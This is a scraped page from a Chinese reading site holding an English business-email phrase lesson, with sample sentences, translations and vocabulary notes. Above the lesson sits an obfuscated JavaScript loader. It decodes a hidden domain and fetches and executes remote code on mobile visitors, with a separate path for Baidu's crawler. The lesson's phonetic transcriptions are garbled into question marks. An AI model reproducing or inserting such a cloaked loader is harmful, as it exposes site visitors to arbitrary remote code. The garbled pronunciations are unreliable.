妙书阁小说

阅读记录  |   用户书架
上一页
目录 | 设置
下一章
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

Lesson 10 电子邮件(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

我确信我们的产品没有任何问题。

语法提要

不定代词any多用于否定句、疑问句或条件句中,当用于肯定句中时,可以译为“任何”。

10 although the lay time was delayed, all the same, we admitted that you have done your best.

尽管装卸时间被推迟了,但无论如何,我们承认你们尽了最大的努力。

词组释义 lay time 装卸时间,停泊期间,许可装载时间

11 i would like to inform you that i agree on your proposal.

很高兴通知你,我对你们的方案非常满意。

单词释义 proposal [pr??p??zl] n. 方案,建议

12 we are sorry to inform you that we couldn&#039;t deliver on time because of weather condition.

我们非常抱歉地通知你,由于天气原因我们不能按时交货了。

单词释义 deliver [d?&#039;l?v?(r)] vt. 发表,释放,交付,使分娩 vi. 投递,履行,实现

13 it&#039;s difficult for us to accept the reference price that you offered.

我们很难接受贵方给出的参考价格。

词组释义 reference price 参考价格

14 i hope my proposal is helpful to your project.

希望我的提议会对你的项目有所帮助。

单词释义 project [?pr?d?ekt] n. 项目

15 i&#039;m writing to inform you to attend the seminar afternoon.

我写邮件是要通知你参加下午的研讨会。

注意事项

attend, take part in, join和participate都可以表示“参加”,很容易混淆,但它们之间是有区别的:attend指的是出席或参加比较正式的活动,take part in侧重于在活动中起积极作用,join指的是加入党派、群体等活动,participate指的是积极地参加某一项活动。

16 thanks for your effort, and you really did a good job.

谢谢你们的努力,你们确实干的不错。

词组释义 do a good job 干的不错

17 i&#039;m writing to confirm that whether you have accepted my voice messages.

我写信是想确认一下你是否收到我的语音留言。

单词释义 confirm [k?n?f?:m] vt. 确认,证实,使巩固,批准

18 please tell me the status of this project at any time.

请随时告诉我有关这个项目的进度。

语法提要 祈使句在这里表示的是一种请求或命令的语气。如:please sit down.

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间